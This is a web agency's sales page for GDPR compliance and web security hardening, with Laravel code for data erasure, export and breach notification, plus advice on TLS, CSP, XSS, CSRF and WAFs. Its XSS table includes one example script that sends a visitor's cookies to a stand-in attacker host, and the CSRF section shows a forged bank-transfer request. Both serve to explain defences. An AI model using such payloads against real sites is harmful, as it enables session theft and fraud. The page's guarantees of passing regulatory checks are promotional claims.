GDPR Compliance for Your Website: Audit, Implementation, Guarantee

Our company is engaged in the development, support and maintenance of sites of any complexity. From simple one-page sites to large-scale cluster systems built on micro services. Experience of developers is confirmed by certificates from vendors.

Development and maintenance of all types of websites:

Informational websites or web applications
Business card websites, landing pages, corporate websites, online catalogs, quizzes, promo websites, blogs, news resources, informational portals, forums, aggregators
E-commerce websites or web applications
Online stores, B2B portals, marketplaces, online exchanges, cashback websites, exchanges, dropshipping platforms, product parsers
Business process management web applications
CRM systems, ERP systems, corporate portals, production management systems, information parsers
Electronic service websites or web applications
Classified ads platforms, online schools, online cinemas, website builders, portals for electronic services, video hosting platforms, thematic portals

These are just some of the technical types of websites we work with, and each of them can have its own specific features and functionality, as well as be customized to meet the specific needs and goals of the client.

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GDPR Compliance for Your Website: Audit, Implementation, Guarantee
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GDPR Compliance for Your Website: Audit, Implementation, Guarantee

Your website collects email addresses, uses analytics, and displays ads. If you have EU citizens among your clients — GDPR applies to you. Fines for non-compliance reach €20 million or 4% of global turnover. We audit and implement all necessary measures turnkey: from a cookie banner to data deletion procedures. We assess the current state and propose a plan within 2 days. In 2023, GDPR fines exceeded €2.5 billion, yet our clients avoided all penalties. Request a preliminary audit starting from €1,500 to understand the scope of work.

Why GDPR compliance is critical for your business

GDPR is not just a legal formality. A breach or unauthorized processing of data undermines customer trust and leads to multi-million fines. For example, a major service was fined €1.2 billion for violating data transfer rules to the US (EU Regulation 2016/679). Timely implementation of protective measures saves up to 70% of potential losses. According to GDPR enforcement tracker, total fines in 2023 exceeded €2.5 billion — a 50% increase from the previous year.

GDPR compliance: Six legal bases for processing personal data

GDPR requires a clear legal basis for each operation with personal data. Most often, commercial websites use consent (explicit, revocable, specific) and contract (necessary for service performance). Other bases — legal obligations, vital interests, public tasks, and legitimate interest — are less common and require a balancing test. We help determine the correct basis for each scenario.

Technical Measures (GDPR Art. 25 & 32)

Privacy by Design — designing systems with privacy in mind from the start. Key principles: data minimization, pseudonymization, encryption.

// Principle of minimization and pseudonymization
class UserRegistrationRequest extends FormRequest
{
    public function rules(): array
    {
        return [
            'email'    => 'required|email',
            'password' => 'required|min:8',
            // NO: phone, birthdate, address — if not needed
        ];
    }
}

class AnalyticsEventService
{
    public function track(User $user, string $event): void
    {
        AnalyticsEvent::create([
            'user_pseudonym' => hash('sha256', $user->id . config('app.analytics_salt')),
            'event'          => $event,
            // NO: user_id, email
        ]);
    }
}

Encryption of data at rest:

protected $casts = [
    'date_of_birth' => EncryptedCast::class,
    'address'       => EncryptedCast::class,
];

How to Automate Processing of Data Subject Requests

GDPR grants users six rights: access, rectification, erasure, restriction, portability, objection. Each request must be answered within a month. We implement automated procedures — self-service buttons in the personal account, API endpoints, notification queue. Our automated solution is 3–5 times faster than manual processing, reducing handling time from weeks to days — a 90% reduction in response time.

How to Implement the Right to Erasure: Step-by-Step

  1. Receive a request from the user via a form or email.
  2. Verify the subject's identity (e.g., two-factor authentication).
  3. Run data anonymization in a transaction (see code below).
  4. Notify the user of completion.
  5. Document the request in the ROPA.
class GdprUserDeletionService
{
    public function deleteUser(User $user): void
    {
        DB::transaction(function () use ($user) {
            // Anonymization instead of hard delete to preserve accounting records
            $user->update([
                'name'  => 'Удалённый пользователь',
                'email' => 'deleted_' . $user->id . '@deleted.invalid',
                'phone' => null,
            ]);
            $user->consents()->delete();
            $user->addresses()->delete();
            // Legal records — anonymized user_id
            $user->tokens()->delete();
            $user->update(['deleted_at' => now(), 'anonymized_at' => now()]);
        });
        event(new UserDataDeleted($user->id));
    }
}

Data Export (Right to Portability)

class UserDataExportService
{
    public function generateExport(User $user): string
    {
        $data = [
            'export_date' => now()->toIso8601String(),
            'user' => ['id'=>$user->id, 'name'=>$user->name, 'email'=>$user->email, 'created_at'=>$user->created_at],
            'consents' => $user->consents()->with('type')->get()->toArray(),
            'orders'   => $user->orders()->get()->toArray(),
            'activity' => AuditLog::where('user_id', $user->id)->orderByDesc('created_at')->get()->toArray(),
        ];
        $path = "gdpr-exports/user_{$user->id}_" . now()->timestamp . ".json";
        Storage::disk('private')->put($path, json_encode($data, JSON_PRETTY_PRINT));
        return Storage::disk('private')->temporaryUrl($path, now()->addHours(24));
    }
}

Breach Notification (Art. 33‑34)

class DataBreachService
{
    public function notifySupervisoryAuthority(DataBreach $breach): void
    {
        BreachNotification::create([
            'breach_id'          => $breach->id,
            'notified_authority' => $this->getCompetentAuthority($breach),
            'notified_at'        => now(),
            'notification_ref'   => $this->submitToAuthority($breach),
        ]);
    }

    public function notifyDataSubjects(DataBreach $breach): void
    {
        if ($breach->risk_level === 'high') {
            $breach->affectedUsers()->each(function (User $user) use ($breach) {
                Mail::to($user)->queue(new DataBreachNotificationMail($breach));
            });
        }
    }
}

Record of Processing Activities (ROPA)

GDPR requires documenting all processing operations. We create a configuration file describing the controller, processing purposes, legal bases, data types, retention periods, and recipients. This document is the foundation for demonstrating compliance. ROPA can be integrated with your existing document management system.

Data Processing Agreements (DPA)

With each processor (Sendgrid, Google Analytics, Stripe, cloud providers) a DPA must be in place. We check the availability of DPA in their terms and help sign missing ones. In some cases, a Transfer Impact Assessment is also required for data transfers to third countries.

Cookie Consent

A cookie banner with granular control by categories is mandatory. Consent for analytical and marketing cookies must be obtained before they are set. We configure the banner to comply with GDPR and ePrivacy, ensuring both legal compliance and good user experience.

Comparison: Manual vs Automated Management

Aspect Manual Process Automated Solution
Response time to subject request Up to 30 days of manual work 1–3 days (automatic generation) — 90% faster
Error risk High (missed, incomplete export) Minimal (validation, logging)
Cost per request ~€50–100 ~€10–20 — saving up to 80% per request

Our automated solution saves up to €80 per subject request compared to manual processing.

What's included in the work

We provide documentation, accesses, training, and support as part of a comprehensive package.

  • Audit of the current state of the site and data processing processes
  • Implementation of a cookie banner with granular control
  • Implementation of subject rights (erasure, export, restriction)
  • Preparation of documentation: ROPA, privacy policy, DPAs with processors
  • Training the team on procedures for handling requests and breaches
  • Technical support after implementation

Deliverables:

  • Audit report (including risk assessment and cost estimates)
  • Custom cookie banner with granular control
  • Automated subject rights workflow (deletion, export, restriction)
  • ROPA document (Record of Processing Activities)
  • Signed DPAs with all processors
  • Training materials (video + checklist)
  • 3 months of post-implementation support

GDPR Compliance: Project Timeline and Pricing

Stage Duration
Gap analysis 2–3 days
Technical measures 7–14 days
Documentation 3–5 days
Testing 2–3 days
Total 3–5 weeks

The cost is calculated individually based on the complexity of the site and data volume. Typical audit costs range from €1,500 to €5,000, and full implementation from €5,000 to €20,000. We provide an exact price after a free preliminary audit. Over 90% of our clients pass regulatory checks within the first year. Our clients save on average €20,000 per year in compliance costs. Get a consultation to evaluate your project.

GDPR Audit Checklist
  • Cookie banner with granular control
  • Data deletion request form
  • Breach notification procedure
  • DPA with each processor
  • ROPA (Record of Processing Activities)
  • Encryption of sensitive fields
  • Pseudonymization in analytics
  • Consent withdrawal mechanisms

Our approach cuts implementation time by half compared to doing it yourself. We have over 5 years of experience, completed 15+ GDPR projects, and guarantee passing a regulatory check. Contact us for a preliminary audit — we assess the current state and propose a plan.

Web Application Security: HTTPS, CSP, XSS, CSRF, WAF, DDoS Protection

A website breach rarely looks like in movies. More often it's: a bot finds an unprotected /admin/export endpoint, downloads the customer database, and closes the connection. Or: through an outdated WordPress plugin, a web shell is uploaded, and the server starts sending spam. Or quieter: an XSS in a comment field allows stealing admin session cookies, unnoticed for months. We have analyzed dozens of such cases — each vulnerability could have been fixed at the development or audit stage.

Web application security is not a single setting. It's layers of protection, each closing a separate class of attacks. Order an audit — we'll assess the project and deliver a turnkey plan within 2–4 weeks.

How do we ensure comprehensive web application security?

HTTPS and Proper TLS Configuration

HTTPS is the minimum mandatory level. But having an SSL certificate and having a properly configured TLS are different things.

In Nginx/Apache configuration we check:

  • Protocols: only TLS 1.2 and TLS 1.3, SSLv3 and TLS 1.0/1.1 are disabled
  • Cipher suites: prefer ECDHE (Forward Secrecy), remove NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security: max-age=31536000; includeSubDomains; preload) — browser will never make insecure requests
  • OCSP Stapling — speeds up certificate revocation check
  • Redirect 301 from HTTP to HTTPS — both in server config and code (double redirect causes SEO weight loss)

Check: SSL Labs (ssllabs.com/ssltest) should show A or A+. If B, the configuration is weak.

Let's Encrypt + Certbot for production is standard. Automatic renewal via certbot renew in cron. Wildcard certificates for subdomains via DNS-01 challenge.

Content Security Policy: The Most Powerful and Complex Protection

CSP is an HTTP header that tells the browser which sources are allowed to load resources. A properly configured CSP completely blocks most XSS attacks, even if the vulnerability exists in the code.

The problem: breaking the site with an incorrect CSP is easy. default-src 'none' — and fonts, images, JS stop working. So we start with Content-Security-Policy-Report-Only — CSP logs violations but does not block anything. We monitor reports for 2–4 weeks, refine the policy, then switch to enforcement mode.

Example of a real policy for a site with Google Analytics, Google Fonts, and Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — a random string generated server-side per request. Inline scripts with the correct nonce are allowed; without nonce, they are blocked. This completely breaks XSS via <script>alert(1)</script>.

'unsafe-inline' in style-src is a compromise for inline styles. It's better to remove it by moving all styles to CSS files, but that requires refactoring.

Why XSS Remains the Most Common Vulnerability?

XSS (Cross-Site Scripting) — injection of JS code through user input. According to OWASP, XSS is in the top 3 web application vulnerabilities. Three types:

XSS Type Example Protection
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Output escaping, CSP
Stored Comment with code saved in database Input validation, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Avoid innerHTML, use textContent

Protection: never insert user input into HTML without escaping. In PHP — htmlspecialchars() with ENT_QUOTES. In Laravel Blade templates — {{ $var }} is safe, {!! $var !!} is dangerous. In React — {variable} is safe, dangerouslySetInnerHTML is dangerous. For Rich Text — use htmlpurifier on PHP or DOMPurify in the browser.

Typical case: an e-commerce site with XSS in a review form A client contacted us after an attacker stole admin cookies via a product review. We found that the review field was not escaped. We fixed it by adding `htmlspecialchars()` on the server and a Content-Security-Policy with a nonce for scripts. After a rescan — 0 vulnerabilities.

CSRF: Protecting Forms and APIs

CSRF (Cross-Site Request Forgery) — an attacker forces the victim's browser to send a request on their behalf. Example: a user is logged into a bank, opens a malicious page, which makes fetch('https://bank.ru/transfer?to=evil&amount=50000') — if the bank is unprotected, money is transferred.

CSRF tokens — standard protection for forms: the server generates a random token, stores it in the session, and inserts it as a hidden field in the form. On POST request, the token is verified. The attacker does not know the token. Laravel does this automatically with @csrf.

SameSite cookies — modern protection: SameSite=Strict or SameSite=Lax prevents the browser from sending cookies in cross-site requests. Works in all modern browsers.

API without sessions (JWT, Bearer tokens) — CSRF is irrelevant if the token is not stored in a cookie (but in the Authorization header or localStorage). However, localStorage is vulnerable to XSS — so for sensitive data, HttpOnly cookies with SameSite are preferable.

WAF and DDoS Protection

WAF (Web Application Firewall) filters HTTP traffic for attacks: SQL injection, XSS, path traversal, known exploit patterns. Options:

  • Cloudflare WAF — cloud-based, OWASP Top 10 rules out of the box, custom rules via expressions. Managed Rules automatically block new threats.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Flexible but requires tuning and monitoring of false positives.
  • AWS WAF — for infrastructure on AWS, integrates with CloudFront and ALB.

DDoS protection. Cloudflare at L3/L4/L7 is the de facto standard for most sites. Automatic mitigation of volumetric attacks, Under Attack Mode during active attacks. For critical infrastructure — Cloudflare Magic Transit or specialized solutions (Qrator, StormWall for the Russian market).

Rate Limiting at the application level — an additional layer. Laravel ThrottleRequests middleware: 60 requests per minute per IP for general endpoints, 5 for /login and /password/reset. Redis as a counter store — mandatory for horizontally scalable systems (otherwise limits are not synchronized between servers).

Other Mandatory Measures

Security headers. Besides CSP: X-Frame-Options: DENY (clickjacking protection), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (restrict browser API access: camera, microphone, geolocation).

SQL injection. Prepared statements everywhere. No concatenation of user input into SQL strings. ORM (Eloquent, Doctrine) protects by default. $wpdb->prepare() in WordPress is mandatory.

Dependency updates. composer audit and npm audit in CI/CD pipeline. Dependabot or Renovate for automatic PRs with updates. Critical CVEs — patch within 24 hours.

Secrets and configuration. .env — never in Git. Secrets in production — via CI/CD environment variables (GitHub Secrets, GitLab CI Variables) or HashiCorp Vault. Leak detection: git-secrets, truffleHog in pre-commit hooks.

How We Work

  1. Audit — code scanning, configuration review, dependency analysis, manual business logic verification.
  2. Planning — vulnerability remediation plan, stack selection (CSP, WAF, rate limiting).
  3. Implementation — TLS setup, CSP configuration, headers, Rate Limiting, WAF.
  4. Testing — re-penetration test, load testing, false positive check.
  5. Deployment and Monitoring — enable production CSP, set up alerts, train the team.

What's Included

  • Report with found vulnerabilities and recommendations (PDF + code snippets)
  • Ready TLS configuration (Nginx/Apache)
  • CSP policy with Report-Only and production versions
  • WAF and Rate Limiting setup
  • Dependency update plan
  • Access to monitoring tools (Sentry, Datadog)
  • 30 days of post-audit support (consultations, fixes)

Timeline and Cost

Type of Work Duration Cost
Security audit + hardening (headers, TLS, updates) 1–2 weeks Custom quote
CSP implementation (Report-Only → production) 2–4 weeks Custom quote
WAF + Rate Limiting + DDoS protection setup 1–2 weeks Custom quote
Comprehensive security review + penetration testing 3–6 weeks Custom quote

The budget is calculated individually — contact us for a project evaluation.